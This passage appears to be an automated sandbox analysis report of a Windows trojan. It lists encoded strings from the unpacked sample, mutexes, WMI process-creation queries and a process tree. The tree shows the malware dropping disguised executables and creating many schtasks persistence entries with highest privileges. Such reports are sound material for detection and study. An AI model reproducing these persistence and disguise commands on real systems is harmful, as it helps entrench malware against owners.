g+tjhZBvyQNvNfilPgsTekdPLmFN5qovqYX6s/EBU4S6k7zmXI4cn91RR+a4K6DWWXMKs8CnuwQeTF87KjXabk1DdO9oCmfsKASNgHR9bmZ/h3uCBz51SjKqkLprDGdp2Sx633lbayQopmpA4oRx6Um4PIhaILge6a+9R2MFNY8W8RRS1li2QppK26kaeO3Xs8PaOLD2vgOyyw1D0sKW4KlFLGkqkmWqX9FJd9lYmQcAqqUhaVj/YuCMnMtofECaKMic/6PCtDk0EnQlFziP6PoNO8b89heFnha/Etao0IegEDJYcFCxQxImfG2OgBwRouKgm8b2JwR9PcamcRdxO7KTmhK2ibwd72oBcqJbrnZiIS0fDY6AbLCl4pVRvAXZho1U
Source: 4.3.dwartg.exe.70006d6.1.raw.unpack, qJk.cs	Base64 encoded string: 'H4sIAAAAAAAEAMsoKSkottLXzyzIzEvL18vM188qzs8DACTOYY8WAAAA', 'H4sIAAAAAAAACssoKSkottLXTyzI1Mss0CtO0k9Pzc8sAABsWDNKFwAAAA=='
Source: 4.3.dwartg.exe.70006d6.1.raw.unpack, sz3.cs	Base64 encoded string: 'IRHKkK7+9S0IugXON3gvLsxJjZL9YaEKz/ItfY2KMibv3HGRDY4HX1+0x6vyRlP1N4gE0v20VeDKoKK009sEy3ouyqPq1nDV7UInHLKa0+i1EzCuhkbBF+hHquku7Lo/yvKfWKTtDSC0cid2m2aAXySLeN9z77QHOw6ohp+EDczjdlkMq8m7a2ClwiEast7dEwz6w4bD8wTSzoz4j5qzrO8RqjmHTyrApuBSl+1gu2s5LoFXoH5oPozdF2hTyr4UJafbA2pNEGdP/VLXgbIg4QM5bvggf+gkojeqw45IqHRg8ZcCDn/xnBJvzaQskNO/n2SyskcGTGC2IHglQTunUGHh4+wEaQYtR4uojeQt1AxtzrO/QY7Xs4yhQpA5ELH1fxkHlN9mBEm06zoECj/vz7jJG2mQlWiHY9U9LUYCXv/lx66c36E3vw4zQ5xVrzhaydHvLiCXt0pZUDFEWfZaVaZ5AKGW0zqkBSvHh4qMXIukrkK1kUF6G2eX26nBF9etwOUvoJ9uQsq2Dy+GQBdk03ZdTGhPoKKJfEvzulE4FSXAoUFrTLyla3gXMOhV434cPyDRSbyiZCGATsBDfEtT+1yp5qKdbJS1GVEo5JVGDZl853Kba/dh4CBx/W6Bj/DOJfimC7NBUJ/HnfsGb830T09NrdXxjZIarRpeDSqLXVWibkiIPnFO4OU2WXtEARxfTEp9gbRaEngqlbHte7O4oMf4xO52NXpTo1ex3oIjKRiCMDA77sbJvezZ+hixbnlgDJbVmAulozOcoeLeIT3ajMgqvfmAPVAXbuYvJdtKwevtf2DUl7lEqIkiitboMQ9wa/o5JrJJMwrsX1U4U56gMIX+zCYsR3sgBH+1dLI394nm8h9oLc/7DXLFKCEkJSnOT6P/PRLwNHmWcoHO0WJ5Y6IdGtC8rsInOmg1aD9JbLPqksSmWRX6XfZYmKthY9wC1SDjDFSXykgutRHU6ciKTBRxlvwAPW8V/yOJ1rOCNpk='
Source: 4.3.dwartg.exe.70006d6.1.raw.unpack, Class17.cs	Base64 encoded string: 'ICBfX18gICAgICAgICAgIF8gICAgICBfX18gICAgICAgICAgICAgXyAgICAgICAgXyAgIF9fXyAgICBfIF9fX19fIA0KIHwgICBcIF9fIF8gXyBffCB8X18gIC8gX198XyBfIF8gIF8gX198IHxfIF9fIF98IHwgfCBfIFwgIC9fXF8gICBffA0KIHwgfCkgLyBfYCB8ICdffCAvIC8gfCAoX198ICdffCB8fCAoXy08ICBfLyBfYCB8IHwgfCAgIC8gLyBfIFx8IHwgIA0KIHxfX18vXF9fLF98X3wgfF9cX1wgIFxfX198X3wgIFxfLCAvX18vXF9fXF9fLF98X3wgfF98X1wvXy8gXF9cX3wgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxfXy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA=='
Source: 4.3.dwartg.exe.70006d6.1.raw.unpack, Class16.cs	Base64 encoded string: 'H4sIAAAAAAAEAAHsARP+04uaiZb284OSg9ODhoCBg4CU2I+FhZOLoaT77vyj/qTlq/39/6mq97LktLW39+ys+obq+eb/mKqMjcDPxrrXxdLLrIqAnovN3NOtwdbP1LGZlYme3tHcoDMjOCFCZGp0bSt3Jy5Za2N1dmByeVt5Y3F/f2k+J2U9Q0lDV01BBB0KHx0cHBQYGQgFBREYF1RYTE1VUFlTHAVidnN6cHx+cnl7eHENDAkfGgE0FGEULxosATNiHisrBjk3BRopPTY4LgxdLjpYAU1cUwEWAAEfGR8KWEFereavGlEjUxZVGFcoWRarXCxeFUABQjREBUYMuEkCSwhNBk8+cQCDhfnI7uyTitD5/uv9+fXP79r22drV3NTPhp3F/I+Mj4aKkbubppy5rr6jr6K16/KogYaThZaYl56hgbCPo8GsgomA3MeTuamlraCrkqyfu6PO1Y2+qISmlbu4scUgekVGS3gkKyp6b2VoYGt8Y3B1dnt7dXI6IzhPbmh7PQwDUUZKQUpIT0BETUNeWkpRXVdBFg8UcVlVSV4eERxMNCQjLyE3NSI8PSMlK290bRw+NXM3Ojo7PTouPjgBMBYkW0IYMTYjNSEtFzcCLgECHRQcB05VDTQ3NDc+MikDI+7N7eSk9u/97bOq8N/E1Mrts+/uB8ku4+wBAAA=', 'H4sIAAAAAAAEADSbx5KCaBRG32W2LMhpSc45MyvJGQGJTz/0YrrK1tIu+dP97jnV+u+//8jYpjD//1gIzcVNEBbKWVnkj/z9VqdbWHJ/Ct0Qxt91eFHemCwnNh1xqQPju5A17Q7Hqhf6/hZOH2WZUBTkHBJlqQlluQqvU8qjMHdPtwhcWakXC5sffVawlRricM8q38lwlDpIG3yeAwQfGwH8aP18/S+F4UW5RkiEofmVFk/sGYYP5yqEnXTXdRM1bTZKE1jwRcgAHzu8qSSQwAx7h7Es1sfF3umZVKAZZ5ZnSz7Srhf6nJ0AYa1diub4jyTW81MgWy+yRDZITvotl8TGkAtJNKvK1uPGuZG+GL+BN1FAjLVOGWxFoIzhi/xHLLADPz0dfTbwJNI2oohHY4v+phtdiQFgBy8JRW6npKjriMaWKGZctwzESZsWpulZJkbWVATaOIVyvKZSDiaU38jdu2H64991BveZUEIK1QV7LxTLR1pZ6ms2K3DJpRR5IvcjSGtZ6x+ghgWed/GUATY6pr54SnetULE9atyI0iSD8HpRId8NhHJG95f5ywjEU9eRJ6X8aeLIsK0eIjJIx49JT0QPr2bqNtTIjUj4Y8RR7ZW/9Crvlu5EUtSQOkQlc9V1xI03b/2oWZTG2+dIxSkxEWpBtuhIiykpdpwsTgnvTVIoSClFOHAzh/g3w5gCgdgSHHllVZX9RUzV1J6oMjt+d/pMAijDGM5g1+BLzRmEvU88lobL2nW9zjcBFlosXVsN8+di5YYTziWxci2J4DSyOo+AipXKLZaVhayT+PkPMdoOAnnKwCEp32/4ItvqWoKi7hvtCofIetCJtLrwJyJ95COhHjJHsZ8hHsz9xCwql7CFww6ewg8s69tnHZCfS6jaBHtDti5+XAtU1UJeoCPUnmvpqJ/gDpKmv2Q+Ivr4syj4BbVeUexfYweDMcY+zhp8gKQ3SgcysB52kvSdp8zRdx7mTFhLGx0bdFMN3Cm3GDsIbJLUyizkLCMpmGAoM9M0vofFOh86fJzqbWTwaWFu0yhv7fxc1ZDhNkz93qf6CFn7yMqMJ75DQKc6wdZUvU+IQjNCVVv3+ttkpIKSht2+V5xjVeKtpS5o8PJVo+cBVCzV6ggClgN/rd92vVUmWUuWtlT5qzGrpvk5FrCsFlA6qq+PQ4zrofy8Ecy7qU93YTG1gsVDbLXbipz3oI63QskTmJCl6V87Hc4ca1YjkCaEfrbRab5AWapZc5rmLMBNilOi5f80sQwJ//ED6YYW2cSG0eY6VAN0DYRnZrBysv84HaJY0yXj0YmnAJSkUhXQAEPD6BZoRzlqFhjfMRXiDi0CKWvZk9JEA2v1JYJ3wVYD5U+RnuzHwTIwSVblLxVxGx84/rEuf+vg0ThvSXjkZH212X9kW8Y3EihbUACsKtbeFfF/H+757EcC7TbU1qw323waDUujOTKO+mo66ASANniN85W83Ndwq4eYo08FLeyEtKCSzceNaCzl4rlt35qpbMA95s0JfEiUL6CzdL99bndCR9gsHZ8ljjbxUBM6pbnZFjq/HVULlJiwrVCQqIkvm2v0SiS/lnc7VJt7icspYJ8yPhdRLRZs/dUmHnZpat373ATVgdqoYhu4lzJInqdctirMPudFriZs/d1YKnRZKpdMwiW8R0Fw26BVLiuVZo9zFgHrv23uB66kfpROoPu0dT3jMlQpGYQhUi91VC/rEpIea42srGpZ2hyjKMW7LpFvKDPcF3R0JnNchAkF8VuLP6t0+frDhI2vAA0+zIqZz63CmQMmpbg5Amg+JdTmQj5+8l/J+ahHffrpTYlmHbTPRkRfaCylgLOG7oyq7y6aQMDL0jl/q/PndBJccUCNRJEtzHYv60Q8BPnZTPbPCCAS9hqPn5mpYKgZHo9maRBg+tjhZBvyQNvNfilPgsTekdPLmFN5qovqYX6s/EBU4S6k7zmXI4cn91RR+a4K6DWWXMKs8CnuwQeTF87KjXabk1DdO9oCmfsKASNgHR9bmZ/h3uCBz51SjKqkLprDGdp2Sx633lbayQopmpA4oRx6Um4PIhaILge6a+9R2MFNY8W8RRS1li2QppK26kaeO3Xs8PaOLD2vgOyyw1D0sKW4KlFLGkqkmWqX9FJd9lYmQcAqqUhaVj/YuCMnMtofECaKMic/6PCtDk0EnQlFziP6PoNO8b89heFnha/Etao0IegEDJYcFCxQxImfG2OgBwRouKgm8b2JwR9PcamcRdxO7KTmhK2ibwd72oBcqJbrnZiIS0fDY6AbLCl4pVRvAXZho1U

Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, HBw.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, HBw.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 4.3.dwartg.exe.70006d6.1.raw.unpack, HBw.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 4.3.dwartg.exe.70006d6.1.raw.unpack, HBw.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.spre.troj.expl.evad.winEXE@60/41@2/2

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

Code function: 0_2_00A27727 GetLastError,FormatMessageW,

0_2_00A27727

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

Code function: 0_2_00A3B6D2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00A3B6D2

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe

File created: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe

File created: C:\Users\user\AppData\Roaming\msBroker

Jump to behavior

Source: C:\Recovery\winlogon.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5000:120:WilError_03
Source: C:\Recovery\winlogon.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-wSLzwx2vNs3ciNJLvHL2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7748:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7612:120:WilError_03

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0

Jump to behavior

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Command line argument: sfxname	0_2_00A3F05C
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Command line argument: sfxstime	0_2_00A3F05C
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Command line argument: STARTDLG	0_2_00A3F05C
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Command line argument: sfxname	3_2_0032F05C
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Command line argument: sfxstime	3_2_0032F05C
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Command line argument: p05	3_2_0032F05C
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Command line argument: STARTDLG	3_2_0032F05C
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Command line argument: sfxname	4_2_0073DF1E
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Command line argument: sfxstime	4_2_0073DF1E
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Command line argument: STARTDLG	4_2_0073DF1E
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Command line argument: xzw	4_2_0073DF1E

Source: H9gMIu2HXi.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: H9gMIu2HXi.exe	Virustotal: Detection: 60%
Source: H9gMIu2HXi.exe	ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

File read: C:\Users\user\Desktop\H9gMIu2HXi.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\H9gMIu2HXi.exe "C:\Users\user\Desktop\H9gMIu2HXi.exe"
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe work.exe -priverdD
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe "C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe"
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\msBroker\xIIr5uE.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\msBroker\2lT5LH2HofMC1aCPgzVrsLj8Fs1JHh.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe "C:\Users\user\AppData\Roaming\msBroker/SurrogatewebSession.exe"
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZ" /sc ONLOGON /tr "'C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe "C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe"
Source: unknown	Process created: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe "C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES41D7.tmp" "c:\Windows\System32\CSCD00016AF5F994D2B979CA07EFAA630F3.TMP"
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZ" /sc ONLOGON /tr "'C:\Program Files (x86)\java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Recovery\winlogon.exe'" /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Recovery\winlogon.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 5 /tr "'C:\Recovery\winlogon.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 8 /tr "'C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZ" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 5 /tr "'C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZ" /sc ONLOGON /tr "'C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SurrogatewebSessionS" /sc MINUTE /mo 12 /tr "'C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe'" /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SurrogatewebSession" /sc ONLOGON /tr "'C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SurrogatewebSessionS" /sc MINUTE /mo 8 /tr "'C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
Source: unknown	Process created: C:\Recovery\winlogon.exe C:\Recovery\winlogon.exe
Source: unknown	Process created: C:\Recovery\winlogon.exe C:\Recovery\winlogon.exe
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\NZDl7DWO67.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe "C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe"
Source: unknown	Process created: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe "C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe"
Source: unknown	Process created: C:\Recovery\winlogon.exe "C:\Recovery\winlogon.exe"
Source: C:\Recovery\winlogon.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c "C:\Recovery\winlogon.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe work.exe -priverdD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe "C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\msBroker\xIIr5uE.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\msBroker\2lT5LH2HofMC1aCPgzVrsLj8Fs1JHh.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe "C:\Users\user\AppData\Roaming\msBroker/SurrogatewebSession.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.cmdline"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\NZDl7DWO67.bat"	Jump to behavior
